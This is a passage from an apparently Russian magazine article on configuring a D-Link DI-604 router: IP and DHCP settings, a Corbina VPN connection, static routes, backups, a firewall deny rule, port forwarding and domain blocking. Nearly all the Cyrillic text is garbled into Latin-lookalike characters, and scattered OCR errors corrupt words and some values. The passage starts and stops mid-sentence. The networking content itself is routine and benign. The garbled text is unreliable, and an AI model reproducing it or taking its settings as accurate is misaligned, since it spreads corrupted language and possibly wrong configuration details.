naHejin ynpaBjieHHH MapmpyTH 3 aTopoM . 
fljIH 3 T 0 T 0 Heo 6 xOAHMO B CBOHCTBaX 
npOTOKOJia TCP/IP ceTeBOH njiara 
Barnero KOMnbiOTepa BbiCTaBHTb oniinio 
«IlojiyHHTb IP-aApec aBTOMaranecKH*. 
IlocjieAOBaTejibHocTb aghctbhh cjieAy- 
lomaii: «IlycK | HacTpoHKa | CeTeBbie 
noAKjno t ieHH 5 i». 3 Aecb bh HaxoAHTe 
3 HanoK «IloAKJHOHeHHe no jiOKajibHOH 
ceTH», KjiHKaeTe no HeMy npaBOH KHon- 
koh MbmiH h Bbi 6 npaeTe b MeHio 
«CBOHCTBa». B OTKpblBIHeMCH OKHe H 3 
cnncKa «KoMnoHeHTbi, Hcnojib 3 yeMbie 
3 thm noAKJHOHeHHeM» Bbi 6 npaeTe 
«np0T0K0Ji MHTepHeTa (TCP/IP)» h 
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xMeT e KHonxy «CBoircTBa». B OKHe 
HacTpoeKBBi 6 HpaeTe 3 aKjiaaKy« 06 mHe» 
h ycTaHaBjiHBaeTe 3 aecb cneayiomHe 
3 HaneHH 5 i: «riojiywrb IP-aapec aBTO- 
MaTHHecKH», «Ilojiy i iHTB aapec DNS- 
cepBepa aBTOMaTH i iecKH» . /Jjhi npoBep- 
KH npaBHJIBHOCTH 3 TOH HaCTpOHKH 
Haao BBinojiHHTB KOMaHay: «IIyCK I 
HacTpoMKa | CeTeBBie noaKjnoHemni», 
KjiHKHyTL no 3 HanKy c-JIoaKjnoneHHe 
no jiOKajiBHon ceTH» npaBon KHon- 
koh MLirnn n b noHBHBineMcn Memo 
BLi 6 paTB nyHKT «CocTOimne». flanee b 
OTK pBIBHieMCn OKHe HaflO BBl 6 paTB 
3 aKjiaAKy «IIoaaepxcKa» n nocMOTpeTB 
Ha nojiyneHHBin IP-aapec: oh aojDKeH 
npeflCTaBjiHTB co 6 oh Ha 6 op u;H(j}p 
« 192 . 168 . 0 .X», rae BMecTO X o 6 bihho 

HaXOAHTCH 2 . 

Ecjih no KaKHM-TO npHHHHaM Bam kom- 
nbiOTep He CMor nojiynHTb IP-aapec aBTO- 
MaTHHeCKH, TO Heo6xO£HMO Ha3HaHHTb 
ero b hbhom BHae. JXim ototo BbinojiHHTe 
nocjieaoBaTejibHOCTb KOMaHa: «IIycK | 
HacTpofea | CeTeBbie noaKnoneHnn | 
noaKjHoneHHe no jiOKajibHOH ceTH | 
CBOHCTBa | KoMnoHeHTbi, Hcnojib3ye- 
Mbie 3THM nOaKJIIOHeHHeM I npOTOKOJI 
MHTepHeTa (TCP/IP) | CBOHCTBa». 
B OTKpbiBmeMcn OKHe HyxHO ycTaHO- 
bhtb cjieayiomHe 3 HaneHmi: 

✓ IP-aapec: 192 . 168 . 0 . 2 ; 

✓ MacKa noaceTH: 255 . 255 . 255 . 0 ; 

✓ HLJH03 no yMOJinaHHio: 192 . 168 . 0 . 1 ; 

✓ aapeca DNS-cepBepOB: 192 . 168 . 0 . 1 . 

nEPBI/IHHAfl HACTPOMKA POYTEPA 

Hto nejiaTb c MaciepoM? 


CjieayiomHH mar — noaKJHoneHHe k 
naHejin ynpaBjiemra. JXjw ototo otkpoh- 
Te HHTepHeT-6pay3ep (MS Internet 
Explorer, Mozilla n np.) n BBeanTe b 
aapecHon CTpoxe «http://l 92. 168.0. 1». 
B nonBHBmeMcn OKHe BBoaa napojm 
HaOepHTe «Login: admin», a none napo- 
jm ocTaBbTe nycTbiM. B pe3yjibTaTe bbi 
aojHKHbi yBnaeTb b OKHe 6pay3epa Kap- 
THHKy, KOTOpan o6bmHO paayeT jno6oro 
nojib30BaTejm, ho cjiaGo yTemaeT ceTe- 
Boro cneanajincTa. Ilpexae neM Hann- 
HaTb pa6oTaTb c Hen, jiynme Bcero 
OTKjnoHHTb ot ycTpoiiCTBa Kadejib, npea- 
Ha 3 HaneHHbin a^m me 3 aa WAN. Bo 
MHornx cjiynanx 3 to 6yaeT nepecTpa- 


xobkoh, ho 3aneM HCKaTb ce6e aonoji- 
HHTejibHbie npoOjieMbi? 

Ilocjie OTKjnoneHHH BHemHero KaHa- 
jia y Bac ecTb asa BapnaHTa: jih6o 
bbi necTHO nbiTaeTecb pa3o6paTbcn b 
H acTpoftKax poyTepa, cjieay# HaniHM 
coBeTaM, jih6o npocTO acMeTe Ha KHon- 
Ky «Run Wizard», 3anycKan MacTep 
nepBOHanajibHOH HaCTpOHKH. B OTpbiB- 
HieMCH OKHe KJIHKHHTe no KHOnKe 
«Next». /(ajiee BaM Haao 6yaeT aea pa3a 
BBecTH hobmh napojib (b nojmx «New 
Password» h « Reconfirm*). CjieayiomHM 
maroM 6yaeT yKa3aHHe «TimeZone». 

Ilocjie CMeHbi napojm npH 
nepexoae k OKHy « Choose Time Zone» 
BaM HeodxoaHMO 6yaeT CHOBa bbccth 
napojib, tojibko Ha 3tot pa3 Haao 6yaeT 
HaOpaTb hobmh napojib — HMemio tot, 
KOTopbift bbi aea pa3a BBejin Ha npeabi- 
ayiaeM mare. KoHemio, «TimeZone» 
MOvKHO h nponycTHTb, ho jiymne Bce- 
TaKH BbidpaTb Hyacnyio BpeMeHHyio 30Hy: 
ajrn MocKBbi 3to 6yaeT «GMT +03:00». 

Ilocjie toto, KaK Bbi nocMOTpHTe Ha 
Haanncb «Auto Detecting WAN», Mac- 
Tep HaCTpOHKH Haao 3aKpbITb KHOnKOH 
«Exit». KoHenHO, moxcho h aajiee npo- 



H3BOaHTb HaCTpOHKH C nOMOIIJblO MaC- 
Tepa, oaHaKO, KaK noKa3bmaeT npaKTH- 
Ka, ropa3ao npaBHjibHee HacTpaHBaTb 
jho6oh MapmpyTH3aTOp 6e3 ero noMO- 
hih, KaK 3 to aejiaeM mm. 

nOflKJlWHEHME K MHTEPHETY 

BbIXOflMM BO BHeiUHMM MMp 


Cnoco6 HacTpoiiKH BHemHero KaHajia 
aeJIHKOM H nOJIHOCTbK) 3aBHCHT OT Tex 
aaHHbix, KOTOpbie npH noaKjnoneHHH k 
HHTepHeTy o6ii3aH BbiaaTb Bam npOBaii- 
aep. BHemHee noaKjnoneHHe HacTpan- 
BaeTCH Ha BKjiaaKe «Home» b pa3aene 
«WAN». Ecjih bbi OTKjnonajiH Kadejib ot 
nopTa WAN Ha BpeMH cmchh napojm, to 
caMoe BpeMH noaKJHOHHTb ero odparao. 

B caMOM npocTOM cjiynae npOBaitae- 
pOM 6yaeT Bam yMHbiii cocea, kotopmh 
opraHH30Baji rae-TO b CBoeii KBapTH- 
pe DHCP-cepBep h noaKjiioHHji Bac 
HMeHHO k HeMy (BapnaHT HedojibinoH 
JiOKajibHOH cem). B 3tom cjiynae bh 
npocTO BbiOnpaeTe «Dynamic IP 
Address», a^m HaaexcHOCTH BbiOnpaeTe 
b caMoil HHxcHeir CTpoxe «Auto- 
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PRAXIS CeTeBbie TexHonornn 


KHOnKA «RESET» 

BepHyTbCfl k Hana/iy 

B ciiynae cepbe3Hbix c6oeB mowho cfle/iaib 
c6poc ydaHOBOK k ssboackhm. flaHHaa 
npoueflypa MOweT npon3BOAMTbca AByMa 
cnoco6aMM. llepBbm — Ha>KaTb KHonKy 
«Reset to Default» b pa3Aene «System» Ha 
BK/iaAKe «TooLs». Bee, Ka3a/iocb 6bi, npocro, 
ho ec/in Bbi noTepann napojib oKOHnaie/ib- 
ho, to Aocryna Ha 3Ty BK/iaAKy y Bac He 6y- 
AeT. TorAa mo>kho nonbiTaTbca c6pocmb 
ydaHOBKM c noMOLAbfo KHonKM «Reset», 
KOTOpafl HaXOAHTCfl pflAOM c pa3-beMOM 

nmaHMfl. ripopeAypa c6poca TaKOBa: 

BK/ifonaeM ycTponcrao h >KAeM nopaAKa 
20 c pj\s\ 3aBepweHMfl 3arpy3Kn; 

Ha>KMMaeM KHonKy «Reset» m agp>kmm ee 
npMMepHO 10-12 c; 

omycKaeM KHonKy — npM 3 tom no Mnra- 
HMK) MHAMKaTOpOB BMAHO, HTO yCTpOMCTBO 
Bbino/iHaeT nepe3arpy3Ky. 
klHorAa, KorAa k ycrponcTBy Hi/inero He 
noAK/ifoneHO, OTC/ieAmb Mi/iraHMe mham- 
KaTOpOB AOBOJlbHO TpyAHO. ll03T0My JiyH- 
lue nocrynmb cneAyfoiAMM o6pa30M: 
Ha3HaHmb Aono/iHHTe/ibHbiM IP-aApec 
CBoeMy ceieBOMy aAamepy M3 tom we 
noAceTM, hto m aApec no yMOJinaHMK) y 
w/iK)3a (to eerb, ec/in aApec w/iK)3a no 
yMOJinaHMK) 192.168.0.1, to HaAO Ao6a- 
BMTb, HanpMMep, 192.168.0.10). 

3aTeM HawMMaeM «llycK | BbinojiHMTb» m 
Ha6npaeM KOMaHAy ping -t 192.168.0.1. 
rioc/ie 3Toro OTKpoeTca okho BbiBOAa pe- 
3y/lbTaTOB KOMaHAbl, B KOTOpOM C MHTep- 
Ba/iOM npMMepHO b 1 c 6yAyT noaB/iaTbca 
CTpoHKM «Request tinned out». 

Tenepb Bbino/iHaeM annapaTHbm c6poc, n 
ec/in Bee 6bmo CAe/iaHo BepHo, Bam Map- 
iupyTM3aTop HaHHeT OTBenaTb Ha KOMaHAy 
ping m coo6iAeHMfl, HanpnMep, noMeHa- 
fOTca Ha TaKne: 

Reply from 192.168.0.1: bytes=32 
time<lms TTL=64 

Reply from 192.168.0.1: bytes=32 
time<lms TTL=64 

Reply from 192.168.0.1: bytes=32 
time<lms TTL=64 

Reply from 192.168.0.1: bytes=32 
time<lms TTL=64 

rioc/ie 3aBepmeHM5i nepe3arpy3KM no/iyna- 
eM ycTpoMCTBO c HacTpoMKaMM no yMOJina- 

HMK) (33BOACKMMM yCTaHOBKaMn). 



DYNAMIC IP ADDRESS 


npM aBTOMaTMHec- 
kom nojiyneHMR IP-aapeca Hiinero HacTpaw- 
BaTb He npHAeTca 


reconnect b nyHKT «Enable», HaxHMa- 
eTe KHonKy «Apply» h nocjie nepe 3 ar- 
py 3 KH poyTepa nojiyaaeTe roTOBoe noA- 
KrnoaeHHe k HHTepHeTy. 


COBET OT TEXnOflflEPXCKM D-LINK 


cjiyuae y npoBaiiAepa oGbihho IP-aapec 
npHBH3BiBaeTCii k MAC-aApecy ceTeBOH 
njiaTbi IIK, noaTOMy 6yAeT He jihihhhm 
H axaTB KHonKy «Clone MAC». 

Ha3HaneHHe ctbth a ec ko r o IP-aapeca — 
3 to Gojiee cjioxhbih cjiyaan b HacTpoft- 
xe. BbiGop BapnaHTa «Static IP Address» 
b tom ace pa3aejie «WAN» noApa3yMeBa- 
eT bboa Bcex aTpHGyroB IP-aApecaijHH: 
aapec («IP Address»), Macica noaceTH 
(«Subnet Mask»), ihjho 3 no yMOJiaaHHio 
(«ISP Gateway Address»), aapeca DNS- 
cepBepOB («Primary DNS Address», 
«Secondary DNS Address») h «MTU». 
IIocjieAHee none, ecjiH HeT npnMoro 
yica3aHH5i npOBaftAepa, moxho ocTa- 
BHTB CO 3HaneHHeM, npHHilTBIM no 

yMOJinaHHio — «1500». Ilocae toto nan 
poyTep nepe3arpy3HTca, Bee AOJiacHO 
3apa6oTaTB. 

H, HaKOHea, caMBin cjioacHBin Bapn- 
aHT HaCTpOHKH — VPN-nOAKJIIOHeHHe. 
K coacajieHHio, Ha ceroAHanmnn AeHB 
TyT HeT yHHBepcajiBHoro pememra. 
Kaa^ABiH npOBaHAep BnpaBe peajnooBBi- 
BaTB HanGojiee yAobHBiH, c ero tohkh 
3peHHa, cnocoG. Thhhhhbim MOaCHO chh- 
TaTB BapnaHT peajiH3au;HH VPN ot Corbina 
Telecom, kotopbih mbi onameM aanee. 

fljia noAKJnoneHHH k «Kop 6 HHe» b pa 3 - 
Aeae «WAN» Haao BBibpaTB HeoaeBHA- 
Hyio ah a mhothx onuHio «Others», koto- 
paa, KCTaTH roBOpa, AaeT pacmnpeHHBie 
BapHaHTBI HaCTpOHKH. 


flaaee BBinojiHaeM aaropHTM. 

»/ « Dynamic IP» — «Kop6HHa» OTAaeT 
nojiB30BaTejiBCKHe aApeca aBTOMaTnaec- 
kh no DHCP, nosTOMy nojia «My IP 
Address», «My Subnet Mask» h «My 
Gateway» CTaHOBaTca b stom cjiynae ah a 
3anojiHeHna HeAOCTynHBi. 

« Server IP/Name» — ajih Mockbbi 
3tot aApec oahh: «vpn. corbina. net». 

✓ «PPTP Account » — Tyr HaAO BBecTH 
Bam jiothh. 

✓ «PPTP Password» — bboahm cboh 
napojib. 

✓ « Retype Password» — noBTOpaeM bboa 
napojia. 

✓ «Maximum Idle Time» n «MTU» — 

caeAyeT octabhtb 3th 3HaneHna no yMOJi- 
naHHio. 

✓ « Connect mode select» — bbiGop otoh 

CbyHKIIHH 3aBHCHT OT BaC. ECJIH BBI 
xoTHTe, htoGbi Bame coeAHHeHne Gbijio 
nocToaHHO BKjnoneHO, nocTaBBTe 3Ha- 
aenue «Always-on»; «Manual» 03HaaaeT, 
hto BaM npHAeTca BKjnoaaTB oto coeAn- 
HeHne KaacABin pa3 BpyaHyio; a BBibop 
BapnaHTa «Connect-on-demand» 3acTa- 
bht poyrep caMOCToaTejiBHO C03AaBaTB 
coeAHHeHne, Kan tojibko B03HHKHeT 
HeobxOAHMOCTB BBIXOAa B CeTB. 

HeoGxoAHMO cxa3aTB hcckojibko cjiob 
o BHyrpeHHHx pecypcax jiOKajiBHOH ceTH. 
Moxcho, KOHeaHO, AJin hx ncnojiB30Ba- 
HHU OTKJHOaaTB HHTepHeT, HO 3TO oaeHB 
HeyAoGHo. B poyTepe CKpBiTa bo3mox- 
HOCTB HaCTpOHKH OAHOBpeMeHHOTO 
HcnojiB30BaHHa HHTepHeTa h pecypcoB 



1223 CaMbIM CJlOMHblM BapwaHTOM 
HaCTpOHKH RBJIReTCR VPN-nOflKJlhOHeHMe 
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o6men jioKajiLHOH ceTH. H xot x b AaH- 
hom cjiynae penB 6y^eT hath o BHyrpeH- 
hhx pecypcax «Kop6hhi>i», b obineM cjiy- 
nae Bee 3 to moxcho npOAejiaTB c jho6bim 
A pyrHM onepaTopOM. 

Ha6epHTe b aapecHOH cTpoxe 6pay3epa 
«http://192. 168.0. l/rtab.htm», h bbi nona- 
AeTe b HeAOKyMeHTHpoBaHHyio HacTpon- 
Ky MapmpynmiiHH poyrepa. 

B nojiH c 3arojiOBKOM «Destination» 
bboahm aApeca ceTen «Kop6hhbi»: 

✓ JIoKajiBHaH ceTB: 10.0.0.0-255.0.0.0 

✓ CepBep CTaTHCTHKH: 195.14.50.26- 
255.255.255.255 

✓ IIohtobbih cepBep: 195.14.50.16- 
255.255.255.255 

✓ JIoKajiBHBie pecypCBi: 85.21.79.0- 
255.255.255.0, 85.21.90.0- 
255.255.255.0 

✓ Corbina.TV: 85.21.52.254- 
255.255.255.255, 85.21.88.130- 
255.255.255.255, 83.102.146.96- 
255.255.255.224 

B nojie c 3arojiOBKOM «Gateway» bbo- 
ahm IP-aApec HLJH03a, nojiynaeMBin no 
DHCP npn noAKJHoneHHH KOMntiOTepa 
HanpHMyio — BBirjiHAeTB oh aojdkoh 
K ax «10.X.X.X». Ero moxcho nojiynHTB, 
no3BOHHB b TexnoAAepxcKy HHTepHeT- 
npoBaHAepa. flajiee Be3Ae CTaBHM rajion- 
kh h HaxcHMaeM KHonxy «Apply». 

HACTPOMKM LAN 

Cmotpmm BHyipb 


Xoth HacTpOHKH no yMOJinaHHio, Kaca- 
lomnecn BHyTpeHHen ceTH («LAN 


Setting»), ajih 6ojiBiHHHCTBa npHJioxe- 
hhh AOCTaTOHHO yAobHBie h He TpebyiOT 
HHHerO KpOMe 03HaKOMJieHHH, B HeKOTO- 
pBix cjiynanx BaM 3axoneTCH hx H3Me- 
hhtb. B bojiBHien CTeneHH 3to xacaeTcn 
HacTpoex DHCP-cepBepa. Bbi MOxeTe, 
HanpHMep, peniHTB, hto6bi KawAOMy 
nojiB30BaTejno BHyrpeHHen ceTH Ha3Ha- 
najiCH tojibko onpeAejieHHBiH IP-aApec. 
3to ObiBaeT hcoOxoahmo, xorAa TpebyeT- 
CH CHHTaTB Tpa(|)HK OTAeJIBHO JXJIB KA>KAO- 
ro nojiB30BaTejiH HebojiBHion oc[)hchoh 
ceTH. MoAejiB DI-604 caMa no ce6e chh- 
TaTB Tpa(J)HK He yMeeT, ho 3to MoxceT 
CAejiaTB KaKan-HHbyAB cneAnajiBHan 
nporpaMMa Ha BameM KOMnBiOTepe . 

jih peajiH3aAHH otoh 3aAann Heobxo- 
Ahmo BBibpaTB BKjiaAKy «Home» h Ha- 
xcaTB KHomcy «DHCP». B 3tom pa3Aejie 
HacTpaHBaeTcn DCHP-cepBep. B Bepx- 
Hen nacTH OKHa pacnojioxceHBi ochob- 
HBie HacTpOHKH cepBepa: ero BKjnoneHHe 
(«DCHP Server Enable» hjih «Disable»), 
Anana30H BBiAaBaeMBix aApecoB (Hana- 


jio — « Starting IP Address», KOHeii — 
«Ending IP Address») h BpeMH wh3hh 
IP- aApeca (no yMOJinaHHio OAHa HeAejin). 

B HiDKHeH nacTH OKHa — KOH(j)Hrypa- 
Ahh «3aM0paxcHBaHHH» IP-aApecoB. 3AecB 
bbi MoxeTe Ha3HaHHTB Ha MAC-aApec 
ceTeBOH ruiaTBi KjineHTa onpeAejieHHBiH 
IP-aApec. HacTpoHKa 3AecB oneBHAHa. 

✓ «Name» — o6o3HaneHne KjineHTa. 

✓ «IP Address» — Ha3HanaeMBiH aApec. 

✓ «MAC Address» — napaMeTpBi ceTeBOH 

KapTBI MOvKHO y3HaTB, eCJIH BBinOJIHHTB Ha 
KjineHTCKOM KOMnBiOTepe cjieAyiomyio 
nocjieAOBaTejiBHOCTB AencTBHH: «nycK | 
HacTpoHKa | CeTeBBie noAKjnoneHHH | 
noAKjHoneHHe no jiOKajiBHOH cem | 
CocTOHHne | noAAepaoca | Hoapo6hocth». 
B OTKpBIBHieMCH OKHe 3anoMHHTe, a 
jiynme 3anHiHHTe rnecTB mecTHaAitaTe- 
Phhhbix lineup h BBeAHTe hx nocjieAOBa- 
TejiBHO b mecTB OKomeK b naHejiH 
ynpaBjieHHH poyrepOM. 

nocjie 3 toh npOHeAypBi HawMHTe KHon- 
Ky «Apply» h >KAHTe nepe3arpy3KH. -4 


BACKUP SETTINGS 


06HOB^eM f coxpawieM, BoccraHaB/inBaeM 


PoyTep D-Link DI-604, KaK m BCHKoe ce- 
pbe3Hoe o 6 opyAOBaHne, 06 /iaAaeT bo 3- 
MOWHOCTbK) COXpaHeHMH M BOCCTaHOBJie- 
HMfl KOHC(DMrypaUMOHHOM MHCf)OpMaUMM, a 
TaK>Ke o 6 HOBaeHMn BHyTpeHHeM npo- 
lui/ibkm. Bee 3 tm c(Dy h kiam m pacno/ioweHbi 
Ha BK/iaAKe «TooLs». 

HTo 6 bi coxpaHMTb TeKynyfo KOHcfiMrypa- 
i\v\\o, Ha>KMMaeM KHonKy «System», no- 
tom «Backup Settings» m yKa 3 biBaeM 
MecTO Ha wecTKOM AMCKe, KyAa we/ia- 
TeabHO coxpaHMTb KOHc|)MrypauMOHHbie 
AaHHbie. BoccTaHOB^eHMe MAeHTMHHo, 

3a MCK/ifoneHMeM toto, hto CHanaBa HaAO 
Bbi6paTb cf)aMB, a noTOM y>Ke 3anycTMTb 
npopecc BoccTaHOB/ieHMu. 

TyT we, Ha BK/iaAKe «TooLs», pacnoaowe- 
Ha m KHonKa «Firmware», c noMOiAbfo ko- 
TOpOM MOWHO o 6 HOBMTb npOLUMBKy poy- 
Tepa. Ec/im Bbi Bce-iam pemMTecb Ha 
TaKOM OTBeTCTBeHHbIM LLiar, TO MMeMTe 
b BMAy, hto ec/iM b npouecce npoiuMBKM 
BApyr otk/hohmtch 3 /ieKTpMHecTBO, no- 

MOHb BaM CMOryT TO/lbKO B CneAMa/lM3M- 
poBaHHOM TexHMHecKOM peHTpe. HOByiO 
npoiiiMBKy mowho CKanaTb no aApecy 


ftp://ftp.dlink.ru/pub/Router/DI- 
604/Firmware, 03HaK0MMBiiJMCb npeA- 
BapMTe/ibHO co cnMCKOM Bcero, hto TaM 
eCTb, M Bbl6paB npoiiiMBKy MMeHHO 
BameM BepcMM MapmpyTM3aTopa. fl/in 
poyTepoB DI-604 BepcMM MoryT HaHM- 
HaTbcn c 6yKB B, D, F mjim E. ToHHyio Bep- 
CMK) MOWHO nOCMOTpeTb Ha CaMOM yCT- 
pOMCTBe CHM3y. 


Idi y.r.s £jo llookmafti 


& ■ & O €& 


Link DI -604 Web Confi... 



D-Link 


DI-604 

Eiinernef broadband k &| 


La=iU Ht'D [Jr.-.e") 

j 

tnri Sifflngi Fnrni Loed Kt»fl Dilyt 


Ftilcfir T0 Fb£16tji OsiSiil Ssninsts 

RHBtIg Default [ 


BACKUP SETTINGS no3BOJim coxpaHMTb 
M BOCCTaHOBMTb yflaHHyK) KOHCjlMrypaUMH) 
Bamero poyTepa 
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Network Connection Details 




Network Connection Details: 


Property 

Value 

(Physical Address 

00-80-48-20-6E-72 ) 

IP Address 

172.16.23.123 

Subnet Mask 

255.255.255.0 

Default Gateway 

172.16.23.1 

DHCP Server 

172.16.1.3 

Lease Obtained 

06.02.2007 10:20:15 

Lease Expires 

16.02.2007 10:20:15 

DNS Servers 

172.16.1.14 

WINS Server 

172.16.1.40 


MAC ADDRESS 


| On3iiHecKMM aflpec CBoew 
ceieBOM njiaTbi moikho y 3 naib b CBOHCisax 
iioxaiibHoro noflKJuoHeHMR 


3AIHMTA OT BT0P>KEH l/lfl 

npOflBMHyTbie HaCTpOMKM 

Ecjih BApyr bbi 3ano£03pHjiH, hto poyrep 
no^Beprcii Hana^eHMio HeKoero BHenme- 
ro 3JioyMBiiiDieHHHKa, to caMoe BpeMH 
3aHHTBCB HaCTpOHKOH BCTpOeHHOTO 
6paHAMay3pa. Jlyurne Bcero, ecjiH bbi 
cyMeeTe onpeaejiHTB IP-aapec snores. 
XoponiHM no^cnopbeM rjw 3toto MO^ceT 
CTaTB jiot poyrepa, ^ocTynHBiH Ha Bxjia#- 
Ke «Misc» no xHonxe «Logs». 

IlpeflnojioxHM, hto BaM no xaxoil-TO 
npHHHHe, HanpHMep, He noHpaBnjicn 
a,apec «122. 122. 122. 122», n bbi xejiaeTe 
3axpBiTB AOCTyn c 3toto IP Ha Bam Map- 
mpyTH3aTOp pa3 h HaBcer^a. HtoObi 
pemHTB 3Ty npo6jieMy, 3aiwTre Ha naHejiB 
ynpaBjieHHa poyrepOM, BBi6epHTe Bxrafl- 
xy «Advanced» h HaxMHTe xHonxy 
«Firewall». flajiee cjieayeT npoH3BecTH 
JIOTHHHBie H npOCTBie AeHCTBHH. 



%/ «Enable» — BxriouaeM npaBHjio. 

1 / «Name» — nnmeM ero BHyrpeHHee 
hm x, HanpHMep, «DenyAlien». 

✓ «Action» — «Allow», ecjin pa 3 pemaeM 
npoxo>KaeHHe naxeTOB; «Deny», ecjin 
3 anpemaeM. B tuhhom cuyuae mbi bbi6h- 
paeM «Deny». 

/ «Source» — hctohhhx naxeTOB. Tyr 
MOvKHO 3a^aTB jih6o HHTepiJieHC, OTxy^a 
naxeTBi npnxo^HT (ecjin H3 HnrepHeTa, 
TO «WAN»), JIH 60 XOHXpeTHBIH IP- 
aflpec, jih6o #Hana30H a^pecoB. Mbi 
BB idnpaeM «WAN» h yxa 3 BiBaeM IP- 
aflpec 122.122.122.122. 

✓ «Destination» — npneMHHx. flajiBine 
AencTByeM, xax h c omiHen «Source» 
(yxa 3 BiBaeM «WAN» — jxim 3 anpeTa 
AOCTyna CHapyxn). 

✓ «Protocol» — BapnaHTBi BBidopa 3aecB 
CTaH^apTHBie: «TCP», «UDP», «ICMP» 

HJIH BCe B03M0vKHBie . IIOCJieAHHH BapH- 

aHT o 6 o 3 HaneH « 3 Be 3 a; 0 HX 0 H» (*) — ero 
mbi h BBidnpaeM. 

✓ «Port Range» — «l-65535». 

✓ «Schedule» — pacnncaHHe. Jlymne 
BBidpaTB nyHXT «Always» — Bcema. 

3#ecB MOvKHO yxa3aTB h xoHxpeTHoe 
BpeMH padoTBi ^aHHoro npaBHjia. 

BI/lPTYAJlbHblE CEPBEPbl 

HacTpauBaeM pa6oiy 
Be6-cepBepa 


IIpeAnOJIOXHM, HTO BBI pemHJIH C03flaTB 
codcTBeHHBiH Be6-cepBep h bbijioxhtb 
H exoTopBie MaTepnajiBi ajih Bceodmero 
HCn0JIB30BaHHH. QjeJiaTB 3T0 AOBOJIB- 

ho npocTO — npe^cae Bcero, Ha#o no#- 
HHTB Ha O^HOH H3 BHyTpeHHHX MamHH 
(nycTB 3to 6y^eT xoMnBiOTep c a^pe- 
com 192.168.0.4) Be6-cepBep (HanpH- 
Mep, Apache, xoth moxcho oGohthcb h 
BCTpoeHHBiM b Windows cepBepOM IIS 
5. 1) h HacTpOHTB ero no BameMy ycMOT- 
peHHio. flajiee Ha#o «npo6pocHTB» nopT 
80 npOTOxojia TCP cxbo3b Bam poy- 
Tep HanpaMyio Ha BHyrpeHHHH a^pec. 
flenaeTCH 3to Tax (Bxjia#xa «Advanced», 
3axjia#xa «Virtual Servers»): 

✓ «Enable» — BXjuonaeM «npo6poc» 
nopTa. 

1/ «Name» — nnmeM BHyrpeHHee hmh 
cepBHca, HanpHMep «VirtualWebServer». 
1/ « Private IP» — BHyrpeHHHH aapec 
cepBepa. 


✓ «ProtocolType» — ajih Be6-cepBepa 
6yaeT «TCP», rjw apyrux bo3moxchbi 
BapnaHTBi «UDP» h «Both» (to ecTB 06a 
npOTOxojia). 

✓ « Private Port» — nopT, Ha xotopom 
padoTaeT Be6-cepBep Ha BHyrpeHHeH 
MamHHe (o6bihho 80). 

« Public Port» — nopT, xotopbih 
6yaeT BH^eH xax nopT Bamero Be6- 
cepBepa CHapysn: 80. 

✓ «Schedule» — pacnncaHne ocTaeTCH 
Ha Barne ycMOTpeHHe, xoth jiymne, ecjin 
Be6-cepBep 6yaeT Bceraa aocTyneH 
nojiB30BaTejiHM. 

TenepB HaxMHTe xHonxy «Apply», 
nepe 3 arpy 3 HTe CHCTeMy, h Bam cairr 
CTaHeT AOCTynHBiM j\jin HHTepHeT- 
nojiB30BaTejieH. 

HtoObi HacTpOHTB DI-604 jinn padoTBi, 
HanpHMep, c E-Mule, Haao otxpbitb jsjm 
npHMoro aocTyna H3 WAN nopTBi 4662 
TCP h 4672 UDP npeanojiaraeM, hto 3Ta 
nporpaMMa vKHBeT Ha BHyrpeHHeM IP- 
aapece 192.168.0.2. KoHcjmrypHpoBaHHe 
3AecB aHajiorHHHO «npo6pacBiBaHHio» 
BHyrpB cem 80-ro nopTa jsjui Be6-cepBepa. 

fljm nopTa 4662 TCP — Bxnaaxa 
«Advanced», 3aKJiaaxa «Virtual Servers». 
«Enable» — BXJiiouaeM. 

✓ «Name» — «EmuleTCP». 

»/ « Private IP» — BHyrpeHHHH a^pec 
cepBepa: «192.168.0.2». 

✓ « Protocol Type» — «TCP». 

✓ «Private Port» — «4662». 

%/ «Public Port» — «4662». 

/ «Schedule» — «Allways». 

fljra nopTa 4672 UDP — Bxjia^xa 
«Advanced», 3axjia^xa «Virtual Servers». 
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DOMAIN BLOCKING 


- caMbm yflo6Hbm 
BapliaHT 6 JIOKlipOBKIi M3 HBTbipeX B03M0)KHblX 


*/ «Enable» — BKJiiouaeM. 

1 / «Name» — «EmuleUDP» 

✓ «Private IP» — BHyrpeHHHH aapec 
cepBepa: «192.168.0.2». 

✓ «Protocol Type» — «UDP». 

%/ «Private Port» — «4672». 

✓ «Public Port» — «4672». 

✓ «Schedule» — «Allways». 

3AKPblBAEM flOCTYn HA flOMEHbl 

(pMUbTpbi n 3anpeTbi 


flOBOJIBHO UaCTO B03HHKaeT CHTyaiJHH, 

Koraa nojiB 30 BaTejiiiM LAN He 06x0 am- 
mo 3 aKpbiTB aocTyn Ha HeKOTOpBie 
IP-aapeca hjih ceTeBBie aoMeHBi. 
HanpHMep, HyacHO 3a6jiOKHpOBaTB Bee 
aapeca aoMeHa porno.ru rjisl jiOKajiB- 
hbix nojiB 30 BaTejieH. HtoGbi 3to pea- 

JIH30BaTB, Heo6xOAHMO HCn0JIB30BaTB 
MexaHH3M (J)HJIBTpOB. fljIU 3T0T0 

OTKpoHTe BKjia^Ky «Advanced» h 
HaxMHTe «Filters». BapnaHTOB 6jiokh- 
pOBKH HeTBIpe. 

✓ «IP Filters» — npn BBidope 3Toro 
BapnaHTa HeodxoaHMO 3 anojiHHTB nojin 
«IP Address», «Port Range» h «Protocol» 
yKa3aB, cooTBeTCTBeHHO , AHana30H IP- 
aapecoB, HOMepa nopTOB h HanMeHOBa- 
HHH Tex npOTOKOJIOB, KOTOpBie BBI 
XOTHTe 3 a 6 jIOKHpOBaTB. 

✓ «URL Blocking» — b 3tom BapnaHTe 
6jIOKHpOBKH AOCTaTOHHO BBeCTH nOJI- 

hbih aapec toto pecypca, aocTyn Ha 
KOTOpBIH HeodxOAHMO 3anpeTHTB. 

✓ «MAC Filters» — 3aecb bbi MoaceTe 
3anpeTHTB aocTyn KOMnBiOTepaM c onpe- 
AejieHHBiMH MAC-aapecaMH ceTeBBix 


njiaT. IlpocTO BBe^HTe hmh nojiB30BaTejiB 
h MAC-aapec ero ceTeBOH xapTBi. 

✓ «Domain Blocking» — yaodiibin BapH- 
aHT 6ji0KHp0BKH. Bbi MoaceTe jih6o pa3- 
peniHTB aocTyn ko BceM aoMemM, Kpcme 
3anpeLneHHbix (oimun «Allow users to 
access all domains except «Blocked 
Domains»), jih6o HaodopOT — 3anpeTHTB 
aocTyn ko BceM KpOMe pa3pemeHHBix. 

no o6uieMy ma6noHy 

B ceTeBBix ycTponcTBax apyrux npOH3BO- 
aHTejien dyaeT hcckojibko HHoe pacnojio- 


